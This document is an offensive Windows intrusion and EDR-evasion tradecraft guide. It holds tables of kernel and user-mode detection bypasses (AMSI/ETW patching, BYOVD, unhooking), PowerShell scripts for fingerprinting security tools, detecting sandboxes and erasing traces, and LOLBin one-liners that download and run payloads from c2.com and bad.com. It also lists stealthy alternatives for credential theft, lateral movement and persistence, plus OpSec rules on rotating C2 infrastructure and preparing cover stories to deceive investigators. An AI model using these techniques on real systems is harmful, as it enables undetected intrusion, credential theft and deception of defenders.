Mechanism How It Works Bypass Difficulty Technical Implementation Known Bypass Techniques
PatchGuard (KPP) / HyperGuard Protects kernel integrity, SSDT, IDT, GDT, critical kernel structures EXTREME (10/10) Periodic kernel integrity checks via encrypted timers, SMM/hypervisor enforcement (HyperGuard) Requires hypervisor exploits (VBS bypass), SMM exploits, hardware vulnerabilities (rare), or VM escapes; infeasible for most ops
PP/PPL (Protected Process) Protected Process (Light) - prevents memory access, handle operations HIGH (8/10) Kernel flag (PS_PROTECTED_SIGNER) prevents OpenProcess with dangerous access rights Need kernel driver exploit (remove protection bit), signed vulnerable driver (BYOVD like RTCore64.sys, gdrv.sys), or hardware debugger
Kernel Callbacks Monitors process/thread/image load, registry, object creation HIGH (7/10) Kernel registers callbacks (PsSetCreateProcessNotifyRoutine, PsSetLoadImageNotifyRoutine, etc.) Direct syscalls (bypass user-mode hooks but not kernel callbacks), unload callbacks (requires kernel driver), disable callback registration
Minifilter Drivers (File System) File system monitoring, intercepts I/O operations MEDIUM (6/10) Filter Manager (fltMgr.sys) framework, minifilters register for I/O operations Can be unloaded with admin rights (fltmc unload SysmonDrv), disabled via registry, or bypassed with direct disk access (risky)
ELAM (Early Launch AM) Early-launch anti-malware, loads before boot EXTREME (10/10) Signed ELAM driver loads during early boot, validates subsequent drivers Requires bootkit, UEFI exploit, hardware access, or disabling Secure Boot; infeasible during ops
Secure Boot / UEFI Validates boot chain integrity EXTREME (10/10) Cryptographic signature verification of bootloader/OS Requires firmware vulnerabilities, physical access, or disabling in BIOS (alerts/logged)
Driver Signature Enforcement (DSE) Prevents unsigned driver loading HIGH (7/10) Kernel-mode code signing (KMCS) enforcement Use signed vulnerable drivers (BYOVD), exploit DSE bypass bugs (CVE-2020-1030, etc.), use exploit to disable DSE, or use test signing mode (requires reboot + alerts)
Virtualization-Based Security (VBS) Hypervisor-isolated sensitive processes EXTREME (9/10) Hyper-V hypervisor creates isolated VM (VSM) for LSASS, Code Integrity Requires hypervisor exploits, VM escape vulnerabilities, or hardware attacks; alternative: don't target LSASS (use Kerberos attacks instead)
Hypervisor-Protected Code Integrity (HVCI) Enforces code integrity via hypervisor EXTREME (9/10) Hypervisor validates all kernel code before execution Same as VBS - requires hypervisor exploits; alternative: operate entirely in user mode

User-Mode Detection (Common, Easier to Bypass):

Mechanism How It Works Bypass Method Implementation Details Detection of Bypass
IAT/EAT Hooking Import/Export Address Table modification to redirect function calls Unhook (restore original IAT/EAT), use GetProcAddress directly, use direct syscalls EDR modifies IAT entries in loaded modules to point to EDR hooks EDR may monitor IAT restoration, integrity checks on IAT
Inline Hooking JMP/CALL at function start to redirect to EDR Unhook by restoring original bytes (read from clean ntdll.dll on disk), use direct syscalls 5-byte JMP (E9 xx xx xx xx) or 12-byte absolute JMP at function prologue EDR may monitor memory writes to hooked functions, re-hook periodically, detect syscall instructions
ETW Tracing Event logging via ETW providers system-wide Patch EtwEventWrite to return early (RET instruction), disable providers (logman stop trace), unregister ETW EtwEventWrite in ntdll.dll is called by all ETW events; modify to return immediately May detect RET instruction at EtwEventWrite, memory write to ntdll.dll
AMSI (Script Scanning) Script content scanning before execution Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN, set amsiInitFailed to true, use reflection to bypass AMSI loads amsi.dll, calls AmsiScanBuffer with script content; modify to always return clean May detect common AMSI bypass strings, monitor amsi.dll modifications, use behavioral detection
Memory Scanning Periodic signature scan of process memory Encrypt payloads at rest, sleep obfuscation (encrypt during sleep), use ROP/JIT, hide in legitimate memory (module stomping) EDR scans .text/.data/.rdata sections for signatures; may scan heap/stack Scanning sleeping processes, monitoring VirtualProtect calls, detecting decryption stubs
API Monitoring Logging/blocking dangerous API calls Use direct syscalls (bypass ntdll.dll hooks), use alternative APIs, indirect syscalls EDR hooks ntdll.dll exports (NtCreateThreadEx, etc.); syscalls bypass these hooks May use kernel callbacks (can't bypass with syscalls), detect syscall instructions in unusual locations, monitor SSN usage
Behavioral Heuristics Pattern-based detection (injection sequence, etc.) Break up attack chain, add delays, use legitimate API sequences, mimic normal applications EDR tracks API call sequences and timing to detect patterns Statistical analysis, ML models, anomaly detection - hard to bypass completely
Thread Stack Walking Inspects call stack of threads to detect injection Use ROP chains, fiber-based execution, hide call stack (frame pointer manipulation), use native APIs EDR walks thread stacks looking for anomalous return addresses (e.g., stack pointing to heap) Deep stack inspection, frame pointer validation, memory region validation
Code Signing Validation Validates digital signatures of loaded modules Use signed binaries (LOLBins), DLL sideloading with signed EXEs, steal/forge certificates Checks Authenticode signatures on PE files Certificate revocation checks, reputation systems, anomaly detection on signed binaries

Sleep Obfuscation Techniques (Evade Memory Scans):

Technique How It Works Complexity Detection Vectors
Ekko Uses ROP chain + WaitForSingleObject to encrypt beacon memory during sleep HIGH May detect ROP chains, VirtualProtect calls, unusual wait patterns
Foliage Thread pool timers + NtContinue to encrypt memory HIGH Timer-based execution patterns, NtContinue usage, memory encryption
Zilean CreateWaitableTimer + VirtualProtect + XOR encryption MEDIUM Waitable timers with obfuscation, memory protection changes
Gargoyle/Sojourner Queue timers + no execute during sleep (VirtualProtect to PAGE_NOACCESS) MEDIUM Timer queue usage, PAGE_NOACCESS during sleep, timer-based callback patterns
Nighthawk Uses RtlCreateTimer + suspends threads + encrypts memory HIGH Thread suspension patterns, timer callbacks, memory encryption stubs

🛡️ Operational Checklist: What to Monitor During Ops

Pre-Execution Reconnaissance (Enhanced):

# ═══════════════════════════════════════════════════════════
# EDR IDENTIFICATION
# ═══════════════════════════════════════════════════════════

# Check Windows Defender status
Get-MpComputerStatus | Select RealTimeProtectionEnabled, IoavProtectionEnabled, `
  BehaviorMonitorEnabled, AntivirusEnabled, AntispywareEnabled, TamperProtectionEnabled

# Identify running EDR/AV processes
Get-Process | Where-Object {
  $_.ProcessName -match "sense|falcon|sentinel|carbon|cortex|cylance|elastic|defender|mde|palo|crowdstrike|sophoshealth|mcafee|symantec|trend|fireeye|tanium"
} | Select ProcessName, Id, Path, Company

# Check installed security services
Get-Service | Where-Object {
  $_.DisplayName -match "edr|endpoint|defender|sentinel|falcon|cortex|carbon|cylance|elastic|palo|alto|crowdstrike|sophos|mcafee|symantec|trend|fireeye|tanium"
} | Select Name, DisplayName, Status, StartType

# Enumerate security products via WMI
Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct | Select displayName, pathToSignedProductExe

# Check for EDR-specific registry keys
$edrKeys = @(
  "HKLM:\SYSTEM\CurrentControlSet\Services\sense",           # MS Defender ATP
  "HKLM:\SYSTEM\CurrentControlSet\Services\CSFalconService", # CrowdStrike
  "HKLM:\SOFTWARE\SentinelOne",                               # SentinelOne
  "HKLM:\SYSTEM\CurrentControlSet\Services\CarbonBlack",     # Carbon Black
  "HKLM:\SYSTEM\CurrentControlSet\Services\CylanceSvc",      # Cylance
  "HKLM:\SYSTEM\CurrentControlSet\Services\elastic-endpoint" # Elastic EDR
)
foreach ($key in $edrKeys) {
  if (Test-Path $key) { Write-Host "Found: $key" -ForegroundColor Red }
}

# ═══════════════════════════════════════════════════════════
# LOGGING STATUS ENUMERATION
# ═══════════════════════════════════════════════════════════

# Check enabled event logs
Get-WinEvent -ListLog * | Where-Object {$_.IsEnabled -eq $true} | 
  Select LogName, RecordCount, MaximumSizeInBytes | Sort-Object RecordCount -Descending

# Audit policies (what's being logged)
auditpol /get /category:*

# Check PowerShell logging configuration
$psLogging = @{
  ScriptBlockLogging = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
  Transcription = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription"
  ModuleLogging = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging"
}
foreach ($key in $psLogging.GetEnumerator()) {
  if (Test-Path $key.Value) {
    Write-Host "$($key.Name): ENABLED" -ForegroundColor Red
    Get-ItemProperty $key.Value
  }
}

# Check if command-line logging is enabled (Event 4688 / Sysmon 1)
$cmdLineLogging = Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" -Name ProcessCreationIncludeCmdLine_Enabled -ErrorAction SilentlyContinue
if ($cmdLineLogging) { Write-Host "Command-line logging: ENABLED" -ForegroundColor Red }

# Check SMB logging
Get-SmbServerConfiguration | Select AuditSmb1Access, EnableSecuritySignature, RequireSecuritySignature

# Check if Sysmon is running
$sysmon = Get-Service sysmon* -ErrorAction SilentlyContinue
if ($sysmon) {
  Write-Host "Sysmon detected: $($sysmon.Name)" -ForegroundColor Red
  # Get Sysmon config (requires admin)
  Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\$($sysmon.Name)\Parameters" -ErrorAction SilentlyContinue
}

# Check for ETW trace sessions
logman query -ets | Select-String "Eventlog-|Autologger-|SysmonDrv|Microsoft-Windows"

# ═══════════════════════════════════════════════════════════
# NETWORK MONITORING DETECTION
# ═══════════════════════════════════════════════════════════

# Check for network monitoring tools
Get-Process | Where-Object {$_.ProcessName -match "wireshark|tcpdump|windump|netmon|fiddler|charles"}

# Check for IDS/IPS indicators (may be visible via network interfaces)
Get-NetAdapter | Where-Object {$_.DriverDescription -match "palo|checkpoint|fortigate|snort|suricata"}

# Check DNS settings (may reveal DNS filtering/monitoring)
Get-DnsClientServerAddress | Where-Object {$_.ServerAddresses -ne $null}

# ═══════════════════════════════════════════════════════════
# SAFE ENVIRONMENT CHECKS
# ═══════════════════════════════════════════════════════════

# Check if running in sandbox/analysis environment
$sandbox = $false
$indicators = @(
  @{Name="Low Uptime"; Check={(Get-CimInstance Win32_OperatingSystem).LastBootUpTime -gt (Get-Date).AddHours(-1)}},
  @{Name="Low User Activity"; Check={(Get-Process).Count -lt 30}},
  @{Name="Analysis Tools"; Check={(Get-Process | Where-Object {$_.ProcessName -match "procmon|procexp|wireshark|ida|ollydbg|x64dbg"}).Count -gt 0}},
  @{Name="VM Artifacts"; Check={(Get-WmiObject -Class Win32_ComputerSystem).Model -match "VMware|VirtualBox|Hyper-V|QEMU"}},
  @{Name="Debugger Present"; Check={[System.Diagnostics.Debugger]::IsAttached}}
)
foreach ($indicator in $indicators) {
  if (& $indicator.Check) { 
    Write-Host "Sandbox indicator: $($indicator.Name)" -ForegroundColor Yellow
    $sandbox = $true
  }
}
if ($sandbox) { Write-Host "Possible sandbox environment detected - ABORT" -ForegroundColor Red }

During Operations - Real-Time Monitoring (Enhanced):

# ═══════════════════════════════════════════════════════════
# MONITOR YOUR OWN ALERTS (Critical during ops)
# ═══════════════════════════════════════════════════════════

# Watch Sysmon events related to current process
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 100 | 
  Where-Object {
    $_.TimeCreated -gt (Get-Date).AddMinutes(-10) -and 
    $_.Message -match $PID
  } | 
  Select TimeCreated, Id, LevelDisplayName, Message | 
  Format-Table -AutoSize -Wrap

# Watch Security log for authentication events
Get-WinEvent -LogName Security -MaxEvents 50 | 
  Where-Object {
    $_.TimeCreated -gt (Get-Date).AddMinutes(-5) -and 
    $_.Id -in @(4624,4625,4648,4672,4673)
  } |
  Select TimeCreated, Id, @{Name="Event";Expression={
    switch($_.Id) {
      4624 {"Successful Logon"}
      4625 {"Failed Logon"}
      4648 {"Explicit Credentials"}
      4672 {"Special Privileges"}
      4673 {"Sensitive Privilege Use"}
    }
  }} | Format-Table -AutoSize

# Watch for process access events (targeting your process)
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 50 | 
  Where-Object {
    $_.Id -eq 10 -and 
    $_.Properties[2].Value -eq $PID -and
    $_.TimeCreated -gt (Get-Date).AddMinutes(-5)
  } |
  Select TimeCreated, @{Name="SourceProcess";Expression={$_.Properties[4].Value}},
    @{Name="TargetProcess";Expression={$_.Properties[2].Value}},
    @{Name="GrantedAccess";Expression={$_.Properties[10].Value}}

# Check if your process is being scanned (handle count spike = inspection)
$baseline = (Get-Process -Id $PID).HandleCount
Start-Sleep -Seconds 30
$current = (Get-Process -Id $PID).HandleCount
if ($current -gt ($baseline * 1.5)) {
  Write-Host "WARNING: Handle count increased significantly ($baseline -> $current)" -ForegroundColor Red
  Write-Host "Possible EDR inspection of your process" -ForegroundColor Red
}

# Monitor network connections from your beacon/process
$connections = Get-NetTCPConnection -OwningProcess $PID -ErrorAction SilentlyContinue
if ($connections) {
  Write-Host "Active connections from PID $PID:" -ForegroundColor Yellow
  $connections | Select LocalAddress, LocalPort, RemoteAddress, RemotePort, State | Format-Table
}

# Check for memory inspection (via Thread Stack Walking)
# If EDR is performing thread stack walks, you might see increased CPU time
$before = (Get-Process -Id $PID).CPU
Start-Sleep -Seconds 10
$after = (Get-Process -Id $PID).CPU
if (($after - $before) -gt 2) {
  Write-Host "WARNING: High CPU usage detected - possible memory scanning" -ForegroundColor Red
}

# ═══════════════════════════════════════════════════════════
# MONITOR DEFENDER DETECTIONS (If MDE/Defender present)
# ═══════════════════════════════════════════════════════════

# Check recent Defender detections
Get-MpThreatDetection | Where-Object {$_.InitialDetectionTime -gt (Get-Date).AddHours(-1)} |
  Select InitialDetectionTime, ThreatName, Severity, Resources

# Check Defender scan history
Get-MpThreat | Where-Object {$_.DidThreatExecute -eq $true}

# Monitor AMSI events (if you bypassed AMSI, check if it's being logged)
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -MaxEvents 20 | 
  Where-Object {$_.Id -eq 4104 -and $_.Message -match "amsi"} |
  Select TimeCreated, Message

# ═══════════════════════════════════════════════════════════
# CHECK FOR RESPONSE ACTIONS (Signs of detection/response)
# ═══════════════════════════════════════════════════════════

# Check if any of your processes were terminated
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 50 | 
  Where-Object {$_.Id -eq 5 -and $_.TimeCreated -gt (Get-Date).AddMinutes(-10)} |
  Select TimeCreated, @{Name="TerminatedProcess";Expression={$_.Properties[4].Value}}

# Check for network isolation (firewall rules added to block your C2)
Get-NetFirewallRule | Where-Object {
  $_.CreationTime -gt (Get-Date).AddMinutes(-10) -and 
  $_.Direction -eq "Outbound" -and 
  $_.Action -eq "Block"
} | Select DisplayName, Direction, Action, RemoteAddress

# Check for file quarantine events
Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" -MaxEvents 20 |
  Where-Object {$_.Id -in @(1116,1117,1118) -and $_.TimeCreated -gt (Get-Date).AddMinutes(-10)} |
  Select TimeCreated, Id, Message

Post-Operation - Forensic Anti-Forensics (Enhanced):

# ═══════════════════════════════════════════════════════════
# DO NOT RUN THESE DURING ACTIVE OPS - POST-OP ONLY
# ═══════════════════════════════════════════════════════════

# These are for AWARENESS - not recommendations to execute
# Most of these will trigger critical alerts

# NEVER: Clear event logs (Event 1102 = instant critical alert)
# wevtutil cl Security  # DO NOT RUN
# wevtutil cl System    # DO NOT RUN

# NEVER: Stop logging services
# Stop-Service EventLog  # DO NOT RUN

# NEVER: Delete Sysmon service
# sc delete SysmonDrv   # DO NOT RUN

# NEVER: Clear specific event IDs (still logged as deletion attempt)
# Get-EventLog -LogName Security -InstanceId 4624 | Remove-EventLog  # DO NOT RUN

# ═══════════════════════════════════════════════════════════
# ACCEPTABLE: Minimize footprint (less suspicious)
# ═══════════════════════════════════════════════════════════

# Clear PowerShell history (local user only, less severe)
Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue

# Clear command history for current session
Clear-History

# Remove artifacts from your operation
# (Only if you explicitly dropped files - in-memory ops shouldn't need this)
# Remove-Item C:\Temp\yourfile.exe -Force
# Remove-Item HKCU:\Software\YourPersistence -Recurse -Force

# Clear DNS cache (may remove indicators of C2 lookups)
Clear-DnsClientCache

# Clear recent documents
Remove-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs" -Recurse -Force -ErrorAction SilentlyContinue

🚫 HIGH-RISK ACTIONS (Will Almost Always Alert)

Action Why It Alerts Alert Type Detection Time Safer Alternative
❌ Running mimikatz.exe Signature + behavior + LSASS access + known IOCs Behavioral + System + YARA <30 seconds Custom credential parser (read SAM offline), SafetyKatz, Pypykatz for offline dumps, DCSync with valid DC replication rights
psexec.exe \\target Known tool signature, creates service (7045), noisy SMB, named pipe (\pipe\psexec) System + Network + Behavioral <1 minute WinRM (Enter-PSSession), DCOM (MMC20.Application), WMI (Invoke-WmiMethod), scheduled tasks via Task Scheduler COM object
powershell -enc <base64> Command obfuscation flag = huge behavioral red flag Behavioral + Log <1 minute Execute .NET assembly directly via C#, use unmanaged PowerShell (C++ hosting CLR), compile C# with csc.exe, use InstallUtil/MSBuild/regasm
❌ Opening handle to lsass.exe Behavioral alert on all modern EDRs, Event 10 (Sysmon) Behavioral + System <30 seconds Memory dump via Task Manager (if GUI access), comsvcs.dll MiniDumpWriteDump, dump from disk (copy process memory file if hibernation enabled), use alternative cred sources (SAM, NTDS.dit offline)
❌ Clearing Event Logs Event 1102/104 = instant critical alert, logged before clearing completes Log + Behavioral <10 seconds DON'T TOUCH LOGS - bypass detection instead of covering tracks, accept logs will exist, use log injection (subtle) if absolutely necessary
❌ Creating RWX memory (`VirtualAlloc(MEM_COMMIT MEM_RESERVE, PAGE_EXECUTE_READWRITE)`) Shellcode indicator, memory scanning target Behavioral + System <1 minute
reg add HKLM\...\Run Persistence detection, registry monitoring (Event 13), known persistence location System + Behavioral <1 minute IFEO (Image File Execution Options) debugger, COM hijacking (less monitored registry locations), scheduled tasks with delay, WMI event subscriptions, DLL search order hijacking, services (during business hours)
❌ Scanning entire subnet (1-254 host scan) Network anomaly detection, high volume of connections, port scan patterns Network + Behavioral 5-15 minutes Slow scans (1 host/min with jitter), use passive recon (analyze existing network traffic), query DNS/LDAP for host enumeration, use compromised machine's ARP cache
iwr https://bad.com/tool.exe | iex Network connection to suspicious domain + file write/execution + PowerShell behavior Network + Behavioral + System <1 minute Compile tools locally on-target (with csc.exe, gcc if available), embed tools in stager (base64 but decoded in memory), use fileless execution, host on legitimate services (GitHub releases, Pastebin - still risky but better reputation)
Invoke-Mimikatz, Invoke-Rubeus, etc. from GitHub Network to known attacker repos, known script content (AMSI), script block logging (4104) Network + System + Behavioral <30 seconds Obfuscate scripts heavily, host on your own infra, compile C# tools to exe/dll, use alternative implementations, avoid PowerShell entirely
❌ Process injection: CreateRemoteThread, QueueUserAPC into sensitive processes Behavioral sequence detection (OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread), Sysmon Event 8, targeting sensitive processes Behavioral + System <30 seconds Self-injection (into own process), early bird injection (during process creation), module stomping, process doppelgänging, use syscalls with delays between operations
❌ Disabling/stopping security services Tampering detection, service control events (7040), protected services (TamperProtection) System + Behavioral <10 seconds Don't touch security services (often tamper-protected), use evasion techniques instead, operate around security tools
❌ Rapid LDAP enumeration (BloodHound/SharpHound) High volume of LDAP queries, AD enumeration patterns, known tool signatures Behavioral + Network + Log 2-10 minutes Use native LDAP queries with heavy throttling (1 query per 2-5 min), spread enumeration over days/weeks, use legitimate AD tools (PowerView with extreme caution), query offline (NTDS.dit if you have copy)
❌ Creating scheduled tasks with /create /tn backdoor Task creation (Event 4698), suspicious task names, creation during attack activity System + Behavioral <1 minute Create during business hours with legitimate-sounding names (WindowsUpdateCheck, AdobeFlashCheck), use delays (/st for start time hours in future), use existing tasks (modify instead of create), use task subfolders not just root
vssadmin delete shadows /all Ransomware indicator, VSS manipulation (Event 7036), destructive action Behavioral + System <30 seconds Don't delete VSS (screams ransomware), if you must access VSS use read-only (vssadmin list shadows, copy files from shadows), create VSS snapshot instead of deleting
wmic process call create "cmd.exe" (remote) Remote WMI execution, WMI events (5857-5861), suspicious process creation patterns Behavioral + System + Log <1 minute Use DCOM (less monitored), WinRM (legitimate remote management), scheduled tasks, or use WMI locally only with specific class queries
❌ Adding user to Domain Admins Privilege escalation (Event 4732/4756), critical security group modification, high-severity alert Log + Behavioral <1 minute Use existing privileged accounts, add to lower-tier admin groups, use temporary privilege elevation (mimikatz token manipulation), use credential access without account modification
❌ Kerberoasting all SPNs at once Multiple Event 4769 (TGS requests) for unusual services, RC4 encryption downgrades, volume-based detection Log + Behavioral 5-30 minutes Request 1-2 SPNs per hour, use AES encryption if possible, target specific high-value SPNs only, use multiple compromised accounts to spread requests
❌ DCSync from non-DC Replication request from non-DC IP (Event 4662 on DC), unusual replication patterns Behavioral + Log <2 minutes Perform from compromised DC (less suspicious), use during maintenance windows, use legitimate replication tools, ensure source IP matches expected admin workstations
❌ Dumping NTDS.dit via ntdsutil Database manipulation, VSS access, known technique System + Behavioral <2 minutes Use offline copy (if you have physical/backup access), use DCSync instead (if domain admin), use vssadmin + copy approach (still risky), ensure during maintenance window

LOW-RISK TRADECRAFT (Less Likely to Alert)

Technique Why It Works Risk Level Example Prerequisites
✅ Living-off-the-Land Binaries (LOLBins/LOLBas) Signed Microsoft binaries with expected behavior, trusted by EDR/AppLocker LOW rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";, mshta.exe vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""calc"" "), regsvr32 /s /u /i:http://c2.com/file.sct scrobj.dll, msiexec /q /i http://c2.com/payload.msi, certutil -urlcache -f http://c2.com/file.exe out.exe None, works out of box
✅ Indirect Syscalls (SysWhispers3, Halo's Gate, Hell's Gate) No user-mode hooks triggered, syscalls from legitimate ntdll.dll locations (not from allocated memory) LOW-MED Use SysWhispers3 to generate syscall stubs, call NtAllocateVirtualMemory directly Requires recompilation of payload, knowledge of SSNs (Syscall Numbers)
✅ Sleep Obfuscation (Ekko, Foliage, Zilean) Encrypted beacon memory during sleep = memory scans find nothing, decrypts only when active LOW Implement Ekko (ROP + WaitForSingleObject + XOR encryption during sleep) Advanced: requires ROP chain, timer implementation, beacon modification
✅ Using Legitimate Credentials Not privilege escalation if credentials are valid, matches normal user behavior, no exploitation signatures LOW Use compromised domain account with legitimate permissions, runas /user:DOMAIN\user cmd, PSRemoting with valid creds Requires initial credential access (phishing, keylogging, dumping from low-priv process)
✅ Slow Operations (Long Delays, Jitter) Doesn't match automated malware patterns, blends with human activity, avoids velocity detection LOW 2-10 minute delay between commands, beacon jitter 60-80% (so 60s sleep = actual sleep 36-84s), spread enumeration over hours/days Requires patience, long-term access
✅ In-Memory Execution (Fileless) No file drops = no file-based signatures, no disk forensics, limited endpoint visibility LOW-MED execute-assembly (Cobalt Strike), Reflective DLL Loading, PowerShell in memory (with AMSI bypass), shellcode in memory with RW→RX staging Requires initial memory injection, AMSI/ETW bypass for scripts
✅ Domain Fronting / CDN C2 (Cloudflare, Azure CDN, CloudFront) Appears as legitimate HTTPS to trusted CDN, domain categorization shows CDN (not C2), TLS to trusted cert LOW Cloudflare Workers proxying C2 traffic, Azure Front Door/CDN, AWS CloudFront - all with legitimate TLS certificates Requires CDN setup, may need domain fronting (some CDNs blocking it now), HTTPS inspection can still detect
✅ Scheduled Task with Delay (Business Hours) Normal admin activity if delayed properly and named appropriately, matches change management patterns LOW schtasks /create /tn "WindowsUpdateCheck" /tr "C:\Windows\System32\cmd.exe /c <command>" /sc ONCE /st 09:30 /ru SYSTEM Requires admin privileges to create SYSTEM tasks, operates during business hours
✅ Process Doppelgänging / Herpaderping Bypasses image load callbacks, creates process from transacted/modified file, post-modification of image on disk MEDIUM Use transacted NTFS writes (TxF) to create process from modified file, then rollback transaction or modify file post-creation Requires advanced implementation, TxF deprecated but still works on older systems
✅ PPID Spoofing Process appears to have legitimate parent (e.g., explorer.exe), bypasses parent-child relationship detection LOW Use UpdateProcThreadAttribute with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS to set arbitrary parent PID before CreateProcess None, works on all Windows versions
✅ Token Manipulation (Without LSASS Access) Steal tokens from running processes (non-protected), impersonate without touching LSASS LOW-MED OpenProcessToken on legitimate admin process (e.g., services.exe child), DuplicateToken, ImpersonateLoggedOnUser Requires finding process running as target user, need SeDebugPrivilege or ownership
✅ Named Pipe Impersonation Trick privileged process to connect to your named pipe, then impersonate its token LOW Create named pipe, trigger privileged service to connect (e.g., via symlink or file operation), call ImpersonateNamedPipeClient Requires triggering target service, works on misconfigured services or through exploitation
✅ DLL Sideloading (With Signed Executable) Signed application loads your DLL from its directory, bypasses code signing checks LOW Place malicious DLL next to signed application that has vulnerable DLL search order, execute signed app Requires finding vulnerable signed application (many exist), DLL name must match expected import
✅ COM Hijacking (User-Level) Modifies HKCU COM registry to load your DLL when legitimate app instantiates COM object LOW Modify HKCU:\Software\Classes\CLSID\{GUID}\InProcServer32 to point to your DLL, trigger app that uses that CLSID No admin required (HKCU), persistence until reboot or app restart
✅ WinRM/PSRemoting (Legitimate Remote Management) Expected remote management protocol, uses Kerberos/NTLM authentication, common in enterprise LOW Enter-PSSession -ComputerName target -Credential $cred, Invoke-Command -ComputerName target -ScriptBlock {...} WinRM must be enabled (common in enterprises), requires valid credentials, uses port 5985/5986
✅ DCOM Lateral Movement (MMC20.Application, ShellWindows, etc.) Less monitored than WMI/PSExec, uses legitimate COM objects for remote execution LOW-MED $com = [Activator]::CreateInstanceGetTypeFromProgID("MMC20.Application","target")); $com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c calc","7" Requires admin credentials, RPC port 135 + high ports, DCOM must be enabled
✅ Silver Ticket (Kerberos Ticket Forging) Forges TGS for specific service, no DC contact = less visibility than Golden Ticket, no Event 4768/4769 on DC LOW Use service account hash (or computer account hash) + Mimikatz/Rubeus to forge TGS ticket for service (e.g., CIFS, HTTP) Requires service account NTLM hash or AES key, ticket lifetime limited to service, less powerful than Golden Ticket but stealthier
✅ AS-REP Roasting Requests TGT for accounts with "Do not require Kerberos preauthentication", offline crack LOW Rubeus.exe asreproast /format:hashcat, crack hash offline Requires accounts with preauth disabled (rare but exists), no authentication required, offline cracking
✅ Kerberoasting (Slow/Throttled) Requests TGS for SPN accounts, offline crack, legitimate if throttled LOW-MED Rubeus.exe kerberoast /outfile:hashes.txt, request 1-2 SPNs per hour Requires domain authentication, throttle heavily, offline cracking
✅ GPP Password Exploitation Reads Group Policy Preferences XML files (SYSVOL) which may contain encrypted passwords (AES key is public) LOW Get-GPPPassword (PowerSploit), search SYSVOL for Groups.xml, Services.xml, decrypt with known AES key Requires domain authentication, works if GPP passwords exist (mostly legacy but still common)
✅ Responder/LLMNR Poisoning (Passive Listening) Passively capture NTLMv2 hashes from network (LLMNR/NBT-NS/MDNS), offline crack LOW responder -I eth0 -A (analyze mode, no poisoning), capture hashes, crack offline Requires network access, passive listening is lower risk than active poisoning
✅ Clipboard Monitoring (Passive) Read clipboard without injecting into other processes LOW Get-Clipboard in loop (PowerShell), or use Windows Clipboard API (GetClipboardData) No special privileges required, matches legitimate apps that use clipboard
✅ ETW Provider Disabling (Specific Providers) Disables specific ETW providers (PowerShell, .NET) without touching all ETW LOW-MED logman stop "EventLog-Application" -ets, Set-EtwTraceProvider -Guid '{A0C1853B...}' -Level 0 (requires admin) Requires admin, less severe than patching EtwEventWrite, may be logged
✅ Using Alternate Protocols (SMB → WebDAV, WinRM → SSH) Less monitored protocols, different logging/detection rules LOW Use WebDAV (net use * \\target\webdav) instead of SMB, SSH (if enabled) instead of WinRM/RDP Requires protocol availability, SSH rare on Windows (newer Windows 10/11 have OpenSSH), WebDAV must be enabled

🔥 Emergency OpSec Rules (Updated)

  1. If you trigger an alert, assume compromise within 5-15 minutes (not 15 min) - modern EDRs with auto-response can isolate/contain faster

    • Extract what you have immediately, wipe obvious artifacts (files in temp), burn C2 infrastructure (domains, IPs, certificates)
    • Establish backup C2 channel before primary is burned (side channel: DNS, ICMP, separate implant)
    • Do NOT attempt "one more command" - greed gets you caught
  2. Never run two high-risk actions in a row - Space them by at least 30-60 minutes

    • Velocity detection is real - 3 suspicious actions in 5 minutes = high confidence alert
    • Example: If you dump credentials, wait 1+ hour before lateral movement
  3. Avoid weekend/off-hours attacks unless target operates 24/7

    • Alerts get reviewed faster after-hours (anomaly: activity when no one should be working)
    • SOC analysts are bored on night shift - they WILL investigate anomalies
    • Best time: Tuesday-Thursday, 10AM-2PM local target time (peak business activity, blends in)
  4. Always have a cover story for your actions - "Testing security tools per change request #12345"

    • If confronted (phishing call, incident response interview): plausible deniability
    • Use legitimate-sounding account names, task names, file names, command purposes
    • Example: Running BloodHound? → "Conducting AD security audit per InfoSec ticket #5678"
  5. Monitor your own beacon traffic from outside - Use passive DNS, VirusTotal, URLScan.io, Shodan

    • Check if your C2 domain/IP is flagged, sinkholes, threat intel feeds
    • Search for your C2 domain on Shodan, Censys - is it being scanned by security researchers?
    • Weekly check: curl -s "https://www.virustotal.com/api/v3/domains/yourdomain.com" -H "x-apikey: YOUR_KEY"
  6. Burn and rotate infrastructure every 48-72 hours - Don't reuse C2 domains/IPs beyond 3 days

    • Threat intel feed propagation: 24-72 hours from initial detection to global blocklists
    • Even if not detected, rotate proactively (defense in depth)
    • Use: Short-lived VPS (Linode, DigitalOcean), domain frontier CDNs, disposable domains (Namecheap, Gandi)
  7. Use separate infrastructure for recon vs exploitation - Don't pivot from scanning IP to implant IP

    • Recon infra: Burned if detected during scanning → doesn't expose C2
    • C2 infra: Only contacted by compromised hosts → cleaner reputation
    • Example: Scan from VPN/residential proxy, C2 via Cloudflare Workers on different domain
  8. Least privilege principle: Don't use Domain Admin unless absolutely necessary

    • Every action as DA is high-value telemetry (Event 4672, 4732, etc.)
    • Use lower-tier accounts for enumeration/lateral movement
    • Escalate to DA only for final objective (DC compromise, Golden Ticket, etc.)
    • Corollary: Don't stay logged in as DA - impersonate token temporarily, then drop
  9. Never trust a "clean" environment - Assume EDR, assume logging, assume monitoring

    • Even if you don't see EDR process, assume kernel callbacks exist
    • Even if no Sysmon, assume Security log auditing, network monitoring, SIEM correlation
    • Mindset: "How would I detect what I'm about to do?" → then evade that detection
